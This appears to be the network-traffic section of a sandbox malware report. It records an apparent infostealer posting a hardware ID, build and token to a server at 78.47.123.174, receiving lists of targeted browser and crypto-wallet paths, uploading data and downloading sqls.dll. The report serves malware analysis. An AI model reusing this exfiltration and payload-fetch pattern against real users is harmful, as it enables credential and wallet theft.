May 22, 2024 18:28:31.590584993 CEST	49726	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:31.590622902 CEST	443	49726	78.47.123.174	192.168.2.6
May 22, 2024 18:28:31.590708017 CEST	49726	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:31.590909958 CEST	49726	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:31.590926886 CEST	443	49726	78.47.123.174	192.168.2.6
May 22, 2024 18:28:32.297523975 CEST	443	49726	78.47.123.174	192.168.2.6
May 22, 2024 18:28:32.297766924 CEST	49726	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:32.298233986 CEST	49726	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:32.298247099 CEST	443	49726	78.47.123.174	192.168.2.6
May 22, 2024 18:28:32.298424959 CEST	49726	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:32.298429966 CEST	443	49726	78.47.123.174	192.168.2.6
May 22, 2024 18:28:33.019579887 CEST	443	49726	78.47.123.174	192.168.2.6
May 22, 2024 18:28:33.019679070 CEST	443	49726	78.47.123.174	192.168.2.6
May 22, 2024 18:28:33.019730091 CEST	49726	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:33.019764900 CEST	49726	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:33.019917965 CEST	49726	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:33.019934893 CEST	443	49726	78.47.123.174	192.168.2.6
May 22, 2024 18:28:33.021261930 CEST	49727	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:33.021289110 CEST	443	49727	78.47.123.174	192.168.2.6
May 22, 2024 18:28:33.021364927 CEST	49727	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:33.021641016 CEST	49727	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:33.021657944 CEST	443	49727	78.47.123.174	192.168.2.6
May 22, 2024 18:28:33.765189886 CEST	443	49727	78.47.123.174	192.168.2.6
May 22, 2024 18:28:33.765584946 CEST	49727	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:33.766146898 CEST	49727	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:33.766160965 CEST	443	49727	78.47.123.174	192.168.2.6
May 22, 2024 18:28:33.766426086 CEST	49727	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:33.766433001 CEST	443	49727	78.47.123.174	192.168.2.6
May 22, 2024 18:28:34.466500998 CEST	443	49727	78.47.123.174	192.168.2.6
May 22, 2024 18:28:34.466650009 CEST	49727	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:34.466675997 CEST	443	49727	78.47.123.174	192.168.2.6
May 22, 2024 18:28:34.466707945 CEST	443	49727	78.47.123.174	192.168.2.6
May 22, 2024 18:28:34.466728926 CEST	49727	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:34.466753006 CEST	49727	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:34.467103958 CEST	49727	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:34.467116117 CEST	443	49727	78.47.123.174	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 22, 2024 18:27:54.629149914 CEST	50112	53	192.168.2.6	1.1.1.1
May 22, 2024 18:27:54.689308882 CEST	53	50112	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 22, 2024 18:27:54.629149914 CEST	192.168.2.6	1.1.1.1	0xb5d0	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 22, 2024 18:27:54.689308882 CEST	1.1.1.1	192.168.2.6	0xb5d0	No error (0)	steamcommunity.com		23.197.127.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

78.47.123.174

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49699	23.197.127.21	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:27:55 UTC	119	OUT	GET /profiles/76561199689717899 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:27:56 UTC	1882	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 22 May 2024 16:27:55 GMT Content-Length: 35638 Connection: close Set-Cookie: sessionid=6f763cd1794efcf320c6f1a3; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C493458b59285f9aa948bf050e0c9a39b; Path=/; Secure; HttpOnly; SameSite=None
2024-05-22 16:27:56 UTC	14502	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-05-22 16:27:56 UTC	10074	IN	Data Raw: 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 Data Ascii: lass="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="sub
2024-05-22 16:27:56 UTC	11062	IN	Data Raw: 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 57 45 42 53 49 54 45 5f 49 44 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6d 6d 75 6e 69 74 79 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 48 41 52 45 44 5f 43 44 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 68 61 72 65 64 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4c 41 4e 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 6c 61 6e 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 4e 52 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b Data Ascii: quot;:true,"WEBSITE_ID":"Community","BASE_URL_SHARED_CDN":"https:\/\/shared.cloudflare.steamstatic.com\/","CLAN_CDN_ASSET_URL":"https:\/\/clan.cloudflare.steamstatic.com\/","SNR":"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49700	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:27:57 UTC	186	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:27:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:27:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:27:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49701	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:27:58 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:27:58 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 34 41 43 31 31 31 41 39 36 41 32 31 37 36 32 31 38 33 38 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="hwid"C14AC111A96A2176218386-a33c7340-61ca-11ee-8c18-806e6f6e6963------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------
2024-05-22 16:27:59 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:27:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:27:59 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 30 7c 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|0\|908d1e004763457b9adffa3b0a9346c9\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49702	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:27:59 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGIIJDGHDGCBGHCAA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:27:59 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 Data Ascii: ------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------HIJEGIIJDGHDGCBGHCAACont
2024-05-22 16:28:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:00 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49703	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:01 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGDHCGCBKFHJKEBKFBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:01 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------HDGDHCGCBKFHJKEBKFBFCont
2024-05-22 16:28:02 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:02 UTC	5605	IN	Data Raw: 31 35 64 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 15d8TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49704	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:02 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDBAKEHDHDGCAKKJJE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:02 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 Data Ascii: ------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------GHJDBAKEHDHDGCAKKJJECont
2024-05-22 16:28:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:03 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49705	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:04 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 6949 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:04 UTC	6949	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------IDBKKKKKFBGDGDHIDBGHCont
2024-05-22 16:28:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:05 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49706	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:05 UTC	194	OUT	GET /sqls.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:05 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:05 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Sun, 19 May 2024 16:18:18 GMT Connection: close ETag: "664a264a-258600" Accept-Ranges: bytes
2024-05-22 16:28:05 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
